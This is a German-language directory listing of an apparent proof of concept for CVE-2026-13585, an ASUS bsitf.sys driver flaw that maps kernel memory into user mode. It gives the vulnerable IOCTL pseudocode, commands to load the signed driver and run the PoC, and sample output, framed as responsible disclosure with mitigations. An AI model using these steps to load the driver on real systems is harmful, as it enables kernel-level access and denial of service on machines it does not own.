Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
asus-bsitf-0-day-poc — PoC für CVE-2026-13585 | Kitploit
Tools/GitHubGitHub/416rehman/asus-bsitf-0-day-poc
Privilege EscalationSchwachstellenanalyseExploitationHardware-SicherheitBinary-Exploitation
GitHub416rehman/asus-bsitf-0-day-poc

asus-bsitf-0-day-poc

PoC für CVE-2026-13585

Repository anzeigen
52vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

POC - ASUS bsitf.sys Kernel-Speicherzuordnung in den Benutzermodus

CVE-2026-13585

Zusammenfassung

Der ASUS-Kerneltreiber bsitf.sys (auch als AsusBSItf.sys vertrieben) stellt den IOCTL 0x222808 zur Verfügung, der physisch zusammenhängenden Kernelspeicher in einer vom Angreifer kontrollierten Größe alloziert, ihn mit vollständigen Lese-/Schreibberechtigungen in den Adressraum des aufrufenden Prozesses abbildet und sowohl die virtuelle Adresse im Benutzermodus als auch die physische Adresse an den Aufrufer zurückgibt.

Das Gerät erfordert Administratorrechte zum Öffnen, was dies zu einer Admin-zu-Kernel-Eskalation macht. In einem BYOVD (Bring Your Own Vulnerable Driver)-Szenario kann ein Angreifer, der bereits Administratorrechte besitzt (z. B. durch Social Engineering oder einen separaten Exploit), diesen legitim signierten Treiber laden, um ohne Kernel-Exploit beliebigen Kernel-Speicherzugriff zu erlangen.

Betroffene Versionen

VersionDateinamePaketPool-Typ
3.0.10.0bsitf.sysASUS Business Manager / AbmSvcPackageNonPagedPool (ausführbar)
3.1.10.0AsusBSItf.sysASUS SCI / AsusSoftwareManagerNonPagedPoolNx
3.1.25.0AsusBSItf.sysASUS SCI / AsusSoftwareManagerNonPagedPoolNx

Alle Versionen erstellen das Gerät \Device\bsitf mit dem Symlink \DosDevices\bsitf.

Auswirkungen

Der abgebildete Puffer ist eine frische Kernelspeicher-Pool-Allokation, keine beliebige Kerneladresse. Der Aufrufer kontrolliert dessen Inhalt, aber nicht dessen Position. Dies schränkt die Ausnutzung im Vergleich zu einem echten beliebigen Kernel-Lesen/Schreiben ein.

  • Kernel-Pool-Erschöpfung (DoS) — wiederholte Allokationen ohne Freigabe erschöpfen den NonPagedPool und verursachen einen BSOD. Es wird keine Größenbeschränkung oder Allokationsgrenze durchgesetzt.
  • Offenlegung der physischen Adresse — der IOCTL gibt die physische Adresse jeder Allokation zurück, nützlich als Informationsleck oder für DMA-basierte Angriffe.
  • Staging von ausführbarem Kernel-Speicher (nur v3.0.x) — in Version 3.0.10.0 ist der Pool-Typ NonPagedPool (ausführbar). Shellcode kann aus dem Benutzermodus in den abgebildeten Puffer geschrieben werden, aber es ist eine separate Schwachstelle erforderlich, um die Kernelausführung auf die Pufferadresse umzuleiten.

Auf v3.1.x-Versionen (NonPagedPoolNx) ist der Puffer nicht ausführbar und die praktischen Auswirkungen beschränken sich auf DoS und die Offenlegung der physischen Adresse.

Ursache

IOCTL 0x222808 im Dispatch-Handler führt Folgendes ohne Eingabevalidierung durch:

root@kitploit:~
alloc_size = *(DWORD *)Irp->AssociatedIrp.SystemBuffer;  // user-controlled

kernel_va = MmAllocateContiguousMemory(alloc_size, 0xffffffff);
mdl = IoAllocateMdl(kernel_va, alloc_size, FALSE, FALSE, NULL);
MmBuildMdlForNonPagedPool(mdl);
user_va = MmMapLockedPages(mdl, UserMode);

output[0] = user_va;        // usermode virtual address
output[1] = physical_addr;  // physical address of allocation

Es gibt keine Prüfungen der Allokationsgröße, der Anzahl ausstehender Allokationen oder der Eingabevalidierung. Das Gerät erfordert Admin-Rechte zum Öffnen, aber sobald ein Handle erworben wurde, sind IOCTLs uneingeschränkt.

Proof of Concept

Erstellen

root@kitploit:~
cargo build --release

Treiber laden

root@kitploit:~
sc create bsitf binPath= "C:\path\to\bsitf.sys" type= kernel
sc start bsitf

Ausführen

root@kitploit:~
# default: 0x1000 (4KB) allocation
cargo run --release

# custom size (hex)
cargo run --release -- 10000

Erwartete Ausgabe

root@kitploit:~
[*] bsitf.sys kernel memory mapping PoC
[*] target alloc size: 0x1000

[+] device handle acquired

[*] allocating 0x1000 bytes of kernel memory via IOCTL 0x222808
[+] kernel allocation succeeded:
    usermode VA:     0x000001D856F90000
    physical addr:   0x00000000BF6CB000

[*] original contents (first 16 bytes):
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

[*] writing 0xCC pattern (int3 sled)...
[+] readback: usermode R/W CONFIRMED

[*] freeing kernel mapping via IOCTL 0x22280C
[+] mapping freed successfully

Getestet auf Windows 11 24H2 (erfordert Administrator).

Gegenmaßnahmen

  1. Validieren Sie die Allokationsgröße mit einer angemessenen Obergrenze.
  2. Begrenzen Sie die Anzahl der ausstehenden Allokationen pro Handle.
  3. Bilden Sie Kernel-Allokationen nicht in den Benutzermodus-Adressraum ab.
  4. Geben Sie keine physischen Adressen an Aufrufer im Benutzermodus zurück.
  5. Verwenden Sie NonPagedPoolNx in allen Versionen.

Zeitplan

DatumEreignis
2026-04-06Schwachstelle durch automatisierte Analyse entdeckt
2026-04-06PoC auf Windows 11 24H2 bestätigt
2026-04-06Bericht an ASUS PSIRT übermittelt

Referenzen

  • CWE-782: Freigelegter IOCTL mit unzureichender Zugriffskontrolle
  • Gerät: \Device\bsitf, Symlink: \DosDevices\bsitf
  • Dispatch-Handler: FUN_140001070

Haftungsausschluss

Dieses Proof of Concept wird ausschließlich für autorisierte Sicherheitsforschung und verantwortungsvolle Offenlegung bereitgestellt. Verwenden Sie dies nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine explizite Erlaubnis zum Testen haben.

Tool herunterladen